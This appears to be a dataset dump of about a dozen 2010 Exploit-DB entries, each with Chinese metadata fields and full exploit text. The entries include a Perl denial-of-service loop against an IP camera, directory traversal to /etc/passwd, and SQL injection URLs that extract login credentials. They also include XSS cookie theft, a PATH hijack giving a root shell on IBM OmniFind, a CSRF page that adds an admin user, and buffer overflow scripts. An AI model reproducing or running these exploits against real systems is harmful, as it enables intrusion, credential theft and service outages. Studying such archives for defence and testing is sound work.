QLWD/code_shield huggingface dataset:
标题: Camtron CMNC-200 IP Camera - Denial of Service EDB-ID: 15508 CVE: 2010-4234 类型: DOS 平台: HARDWARE 发布日期: 2010-11-13 漏洞利用脚本: Finding 5: Camera Denial of Service
CVE: CVE-2010-4234

The CMNC-200 IP Camera has a built-in web server that
is vulnerable to denial of service attacks. Sending multiple
requests in parallel to the web server may cause the camera
to reboot.

Requests with long cookie header makes the IP camera reboot a few
seconds faster, however the same can be accomplished with requests
of any size.

The example code below is able to reboot the IP cameras in
less than a minute in a local network.

#!/usr/bin/perl

use LWP::UserAgent;

while (1 == 1){

$ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.6)");

$req = HTTP::Request->new(GET => 'http://192.168.10.100');
$req->header(Accept =>
"text/xml,application/xml,application/xhtml+xml,text/html
;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5");
$req->header("Keep-Alive" => 0);
$req->header(Connection => "close");
$req->header("If-Modified-Since" => "Mon, 12 Oct 2009
02:06:34 GMT");
$req->header(Cookie =>
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
my $res = $ua->request($req);

} URL: https://www.exploit-db.com/exploits/15508
标题: Camtron CMNC-200 IP Camera - Directory Traversal EDB-ID: 15505 CVE: 2010-4231 类型: REMOTE 平台: HARDWARE 发布日期: 2010-11-13 漏洞利用脚本: Finding 2: Directory Traversal in Camera Web Server
CVE: CVE-2010-4231

The CMNC-200 IP Camera has a built-in web server that
is enabled by default. The server is vulnerable to directory
transversal attacks, allowing access to any file on the
camera file system.

The following example will display the contents of
/etc/passwd:

GET /../../../../../../../../../../../../../etc/passwd
HTTP/1.1

Because the web server runs as root, an attacker can read
critical files like /etc/shadow from the web-based
administration interface. Authentication is not required for
exploitation.

Vendor Response:
No response received.

Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of Access Control Lists and proper
network segmentation. URL: https://www.exploit-db.com/exploits/15505
标题: ASPilot Pilot Cart 7.3 - 'newsroom.asp' SQL Injection EDB-ID: 15497 CVE: 2010-4872 类型: WEBAPPS 平台: ASP 发布日期: 2010-11-12 漏洞利用脚本: # Title: [ASPilot Pilot Cart 7.3 SQL Injection]
# Date: [12.11.2010]
# Author: [Daikin]
# Software Link: [http://www.pilotcart.com]
# Version: [7.3] maybe also lower
 
Vendor's Description of Software and demo:
# http://www.pilotcart.com
 
Dork:
# Powered by Pilot Cart V.7.3
 
Application Info:
# Name: Pilot Cart
# version last 7.3
 
Vulnerability Info:
# Type: SQL injection
# Discover 8/11/2010
 

#Vuln description:
Input passed via the "specific" parameter to newsroom.asp is not properly
sanitised before being used in a SQL query.

http://server/newsroom.asp?specific=[injection]

#Proof

http://server/newsroom.asp?specific=1

DB: MSAccess

http://server/newsroom.asp?specific=-1%20UNION%20ALL%20SELECT%20null,(select%20top%201%20chr(126)%2bchr(39)%2bcstr(email)%2bchr(39)%2bchr(126)%20from%20(select%20top%201%20*%20from%20(select%20top%201%20*%20from%20tbllogins%20order%20by%201)%20t%20order%20by%201%20desc)t),null,null,null,null,null%20from%20tbllogins
-->mail field "scarab"

http://server/newsroom.asp?specific=-1%20UNION%20ALL%20SELECT%20null,(select%20top%201%20chr(126)%2bchr(39)%2bcstr(pword)%2bchr(39)%2bchr(126)%20from%20(select%20top%201%20*%20from%20(select%20top%201%20*%20from%20tbllogins%20order%20by%201)%20t%20order%20by%201%20desc)t),null,null,null,null,null%20from%20tbllogins
-->pass field "R1ckr011"

#
Credit:
Daikin 

bolidebolidebolide@gmail.com URL: https://www.exploit-db.com/exploits/15497
标题: Metinfo 3.0 - Multiple Vulnerabilities EDB-ID: 15496 CVE: 2010-4976 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-12 漏洞利用脚本: # Exploit Title: metinfo3.0 Mullti Vulnerability

# Date :       10-11-2010

# Author :    anT!-Tr0J4n

# Version :     3.0

#DorK     :    Powered by MetInfo 3.0 
 
# Home    :    www.Dev-PoinT.com : http://milw0rm.ws

#Email     :    D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

Vendor£   :   http://www.metinfo.cn/

#Greetz    :   Dev-PoinT.com   ; GlaDiatOr ;SILVER STAR ; HoBeeZ ; Coffin Of Evil ; Cyber-Err0r ; Mr.Mh$TEr ; M [Zero] ; R3d-D3v1l

#special thanks to milw0rm.ws team   :   r0073r,Sid3^effects,L0rd CruSad3r,SeeMe,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr,indoushka, KnocKout,SONiC,ZoRLu


========================================================
metinfo3.0 source code disclosure Vulnerability 
========================================================

[>] exploit ->

[+] http://localhost/metinfo/templates/met001/../../ [file disclosure]

EX :

[+] http://localhost/metinfo/templates/met001/../../config


======================================================
[>] metinfo3.0 XSS Vulnerability
======================================================

[>] exploit -> XSS Vulnerability


http://localhost/metinfo/search/search.php?lang=en&class1=0&class2=0&class3=0&searchtype=0&searchword=[XSS]


http://localhost/metinfo/search/search.php?lang=en&class1=0&class2=0&class3=0&searchtype=0&searchword=1<script>alert(document.cookie)</script>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+] Site               : Inj3ct0r.com
[+] Support e-mail  : submit[at]inj3ct0r.com
[+] I'm anT!-Tr0J4n member from Inj3ct0r Team URL: https://www.exploit-db.com/exploits/15496
标题: Apple Directory Services - Memory Corruption EDB-ID: 15491 CVE: 2010-1840 类型: DOS 平台: OSX 发布日期: 2010-11-11 漏洞利用脚本: Apple Directory Services Memory Corruption
CVE-2010-1840


INTRODUCTION

chfn, chpass and chsh dos not properly parse authname switch ("-u"), which causes the applications to crash when parsing a long string. Those binaries are setuid root by default.

This problem was confirmed in the following versions of Apple binaries and MacOS, other versions may be also affected: 

Apple Mac OS X 10.5.8 32bits /usr/bin/chfn, /usr/bin/chpass, /usr/bin/chsh
Apple Mac OS X 10.6.2 64bits /usr/bin/chfn, /usr/bin/chpass, /usr/bin/chsh


CVSS Scoring System

The CVSS score is: 3.3
 Base Score: 4.2
 Temporal Score: 3.3
We used the following values to calculate the scores:
 Base score is: AV:L/AC:L/Au:R/C:C/I:C/A:C
 Temporal score is: E:POC/RL:OF/RC:C


TRIGGERING THE PROBLEM

/usr/bin/chfn -u `perl -e 'print "A" x 3000'`
/usr/bin/chsh -u `perl -e 'print "A" x 3000'`
/usr/bin/chpass -u `perl -e 'print "A" x 3000'`


DETAILS

Disassembly:

0x92237215 <CFArrayGetValueAtIndex+101>: mov    $0x28,%al
0x92237217 <CFArrayGetValueAtIndex+103>: cmp    $0xc,%ecx
0x9223721a <CFArrayGetValueAtIndex+106>: mov    $0x14,%dl
0x9223721c <CFArrayGetValueAtIndex+108>: cmovne %edx,%eax
0x9223721f <CFArrayGetValueAtIndex+111>: add    %esi,%eax
0x92237221 <CFArrayGetValueAtIndex+113>: mov    0xc(%ebp),%edx
0x92237224 <CFArrayGetValueAtIndex+116>: lea    (%eax,%edx,4),%eax
0x92237227 <CFArrayGetValueAtIndex+119>: mov    (%eax),%eax <----- Crash here.

(gdb) x/i $pc
0x92237227 <CFArrayGetValueAtIndex+119>: mov    (%eax),%eax
(gdb) i r $eax
eax            0x585d910 92657936
(gdb) bt
#0  0x92237227 in CFArrayGetValueAtIndex ()
#1  0x9225c46b in _CFBundleTryOnePreferredLprojNameInDirectory ()
#2  0x9225d80c in _CFBundleAddPreferredLprojNamesInDirectory ()
#3  0x9224b7b0 in _CFBundleGetLanguageSearchList ()
#4  0x9225d8da in _CFBundleAddPreferredLprojNamesInDirectory ()
#5  0x9224b7b0 in _CFBundleGetLanguageSearchList ()
#6  0x9225b50c in CFBundleCopyResourceURL ()
#7  0x9225bb32 in CFBundleCopyLocalizedString ()
#8  0x903633eb in _ODNodeSetCredentials ()
#9  0x90369813 in ODRecordSetNodeCredentials ()
#10 0x000044be in ?? ()
#11 0x000026ac in ?? ()
#12 0x000022ee in ?? ()


The MacOS Heap Protection mechanisms mitigates the impact of this vulnerability.


CREDITS

This vulnerability was researched by Rodrigo Rubira Branco from Check Point Vulnerability Discovery Team (VDT).

ACKNOWLEDGES

Many thanks to Rafael Silva who brought the issue in chfn binary to our attention.




--
Rodrigo Rubira Branco
Senior Security Researcher
Vulnerability Discovery Team (VDT)
Check Point Software Technologies
http://www.checkpoint.com/defense URL: https://www.exploit-db.com/exploits/15491
标题: IBM OmniFind - Local Privilege Escalation EDB-ID: 15475 CVE: 2010-4236 2010-3895 类型: LOCAL 平台: MULTIPLE 发布日期: 2010-11-09 漏洞利用脚本: * Privilege escalation in two applications (CVE-2010-3895)

Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«.

-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper
-------------------------------------------------------------------------


»esRunCommand« takes one argument and runs it as root. See example below.
-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  
  joemueller@XXX:/opt/IBM/es/bin> ./esRunCommand id
  OUTPUT: cmd is id
  id
  uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------



The application »estaskwrapper« is meant to start the application »estasklight«. 
The pseudo c code looks like this:
-------------------------------------------------------------------------
 main() {
   int auth = 0;
   ...
   if (argv[1] == "estasklight") {
     auth = 1;
    ...
    path = getenv("ES_LIBRARY_PATH");
    if (path) {
      setenv("LD_LIBRARY_PATH", path);
      setenv("LIBPATH", path);
      ...
      if (auth) {
       execvp ("estasklight", args);
      }
      ...
    }
     ...
   }
 ...
 }
-------------------------------------------------------------------------


Explanation of the code:

»argv[1]« is the first command line argument, that is compared with the string
»estasklight«. If it is equal the »auth« flag is set. 
If the user has the environment variable »ES_LIBRARY_PATH« set, the value is
copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«.
If the »auth« flag is set, the application »estasklight« is executed.



Exploit for running /bin/sh
-------------------------------------------------------------------------
joemueller@XXX:~> cp /bin/sh ~/bin/estasklight
joemueller@XXX:~> export ES_LIBRARY_PATH=/home/joemueller
joemueller@XXX:~> export PATH=/home/joemueller/bin:$PATH
joemueller@XXX:~> /opt/IBM/es/bin/estaskwrapper estasklight
XXX:~# id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15475
标题: Oracle MySQL < 5.1.49 - 'WITH ROLLUP' Denial of Service EDB-ID: 15467 CVE: 2010-3678 类型: DOS 平台: MULTIPLE 发布日期: 2010-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/42596/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

This issue affects versions prior to MySQL 5.1.49.

NOTE: This issue was previously covered in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record to better document it. 

PoC:

drop table if exists `t1`;
create table `t1`(`a` int)engine=myisam;
insert into `t1` values (1);
/*crash1*/select (`a` in (`a`,`a`)) from `t1` group by `a` with rollup;
/*crash2*/select (case (`a`) when (`a`) then (`a`) end) as `a` from `t1` group by `a`
with rollup; URL: https://www.exploit-db.com/exploits/15467
标题: Joomla! Component JQuarks4s 1.0.0 - Blind SQL Injection EDB-ID: 15466 CVE: 2010-4638 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-09 漏洞利用脚本: JQuarks4s Joomla Component 1.0.0 Blind SQL Injection Vulnerability

 Name              JQuarks4s
 Vendor            http://www.iptechinside.com/labs/projects/list_files/jquarks-for-surveys
 Versions Affected 1.0.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-11-08

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

A Joomla 1.5 free and open source tool for online surveys
and statistical analysis.


II. DESCRIPTION
_______________

A parameter is not properly sanitised before  being  used
in a SQL query.


III. ANALYSIS
_____________

Summary:

 A) Blind SQL Injection
 

A) Blind SQL Injection
_______________________

Input  passed  to  the  "q"   parameter  in when "option"
is set to "com_jquarks4s" and "task" to "submitSurvey" is
not properly verified before  being  used in a SQL query.
This  can  be  exploited to  manipulate  SQL  queries  by
injecting arbitrary SQL code.

The following is the vulnerable code (controller.php):


function submitSurvey()
{
  // get post data
  $data = JRequest::get('post');

...

$questions = $data['q'];
// debug
//var_dump($data);exit;
foreach ($questions as $question_id => $question) :

  $type_id = (int)$question['type_id'];

  switch ($type_id) :

...

  case 4:
    // recuperer les row_id du question_id
    $rowsDB = $sessionModel->getRows($question_id);


So,  $question_id  is  a key of the array "q" and type_id
his value. Therefore  the  injection   is   possibile  by
inserting  arbitrary SQL code as the key of the array and
4 as his value.


IV. SAMPLE CODE
_______________

A) Blind SQL Injection

Try  to  send the following packet to your  test  server.
Ensure that  magic_quotes_gpc  is  set to off in order to
use the following test.


POST /path/index.php HTTP/1.1
Host: target
Content-Type: application x-www-form-urlencoded
Content-Length: 97

option=com_jquarks4s&task=submitSurvey&q[-1 UNION SELECT 0x414141 INTO OUTFILE '/tmp/trycopy' ]=4


Note that if you want to use the '=' character, you  must
covert it in URL encode format (%3D), otherwise the value
4 needed for the injection cannot be read.


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/15466
标题: IBM OmniFind - Buffer Overflow EDB-ID: 15474 CVE: 2010-3894 类型: DOS 平台: MULTIPLE 发布日期: 2010-11-09 漏洞利用脚本: * Remote buffer overflow (CVE-2010-3894)

The administration interface has a login form with an username- and a passwordfield.
Entering a valid username (default value is »esadmin«) and a very long string into
the password field a buffer overflow is triggered.

The function Java_com_ibm_es_oss_CryptionNative_ESEncrypt() defined in the file
/opt/IBM/es/lib/libffq.cryptionjni.so is copying the password value to a fixed size
buffer of 2048 bytes.


There are two attack points to exploit this buffer overflow.

The first attack is based on the following buffer combination

password = 2080 bytes + firstattackpoint EAX+EDI (4 bytes) 

The inserted value for »firstattackpoint« will be used in the registers EAX and EDI. 
These registers are used to write data into. This means you can insert any arbitrary
address, where you want to write to.

The second attack is overwriting the saved return address and has the following layout.

password = 2080 bytes + firstattackpoint EAX+EDI (4 bytes) + 480 bytes + EDX (4 bytes) 
           + EAX (4 bytes) + EIP (4 bytes)

To reach the return to your overwritten instruction pointer, you have to insert a valid
writeable address as firstattackpoint. This second attack has some restrictions, you
can only use printable ASCII values. Non printable characters will be removed from the
input string. 
This is no real barrier, since the code is big enough to have many jmp/call addresses,
which have printable ASCII values in their addresses.

During the overwrite the register ESI is pointing to your input, so you could use a
call *%esi to jump to your ASCII filtered shellcode.


During the first attackpoint your input is unfiltered, you can insert arbitrary values.
If you combine both attacks together, you can exploit it remotely and get a (root) shell.

Default running user is root :) URL: https://www.exploit-db.com/exploits/15474
标题: IBM OmniFind - Cross-Site Request Forgery EDB-ID: 15473 CVE: 2010-3891 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-11-09 漏洞利用脚本: The forms in the administrator interface are not protected against XSRF. The 
attacker can do any action in the context of the victim. 

An example attack scenario could be:
The attacker creates a malicious website with a prepared form to add a new
user, which will be submitted on load. 


Exploit to add an admin user:
<html>
  <head><title>Some seemingly benign web-site</title></head>
  <body onLoad="document.forms[0].submit();">

    <form method="post"
  action="http://omnifind-host/ESAdmin/security.do">
      <input type="hidden" name="command" value="saveNewUser"/>
      <input type="hidden" name="user.name" value="joemueller"/>
      <input type="hidden" name="user.role" value="0"/>
      <input type="hidden" name="user.allCollections" value="true"/>
      <input type="hidden" name="apply" value="OK"/>
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/15473
标题: Novell Groupwise Internet Agent - IMAP 'LIST LSUB' Remote Code Execution EDB-ID: 15464 CVE: 2010-4717 类型: DOS 平台: LINUX 发布日期: 2010-11-09 漏洞利用脚本: #####################################################################################

Application:   Novell Groupwise Internet Agent IMAP LIST LSUB Command Remote Code Execution Vulnerability

Platforms:   SLES 10 SP3 (GroupWise 8.0.2)

Exploitation:   Remote code execution

CVE Number:  

Novell TID: 7007157

Author:   Francis Provencher (Protek Research Lab's)

WebSite:   http://www.protekresearchlab.com/


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in

enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems
management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental
in making the Utah Valley a focus for technology and software development. Novell technology contributed to the
emergence of local area networks, which displaced the dominant mainframe computing model and changed computing
worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Report Timeline
============================

2010-08-27  Vulnerability reported to vendor
2010-11-08  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Groupwise

Internet Agent where IMAP services run. Authentication is required to exploit this vulnerability.

The flaw exists within the IMAP functionality included with GWIA. When provided with an overly long LIST or LSUB request
to the CREATE verb, the IMAP server can be forced to overflow a buffer on the stack. Successful exploitation leads to

remote code execution under the context of the server.


#####################################################################################

===========
4) The Code
===========

#!/usr/bin/python
#
# Francis Provencher for Protek Research Lab's.
#
#


import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 1368

s.connect(('192.168.100.178',143))
s.recv(1024)
s.send('A001 LOGIN test  test ' + buffer + '\r\n')
s.recv(1024)
s.send('A001 LSUB aa ' + buffer + '\r\n')
s.recv(1024)
s.close()



#####################################################################################

(PRL-2010-08) URL: https://www.exploit-db.com/exploits/15464
标题: IBM OmniFind Crawler - Denial of Service EDB-ID: 15476 CVE: 2010-3899 类型: DOS 平台: MULTIPLE 发布日期: 2010-11-09 漏洞利用脚本: * Crawler endless loop (CVE-2010-3899)

The crawler has no recursion depth limit. A site with dynamic parameter manipulation can
cause an endless loop. This loop will block the crawler thread and use permanent server
resources. Too many blocks can lead to a denial of service. The same site will be 
indexed more times and the search results will display the same site many times. This
can be abused for spamming the search results.


Exploit to test the endless loop:
/* loop.php */
<?php
 $numb = rand(); 
 echo $numb.'<br><a href="loop.php?value='.$numb.'">click me</a>';
?> URL: https://www.exploit-db.com/exploits/15476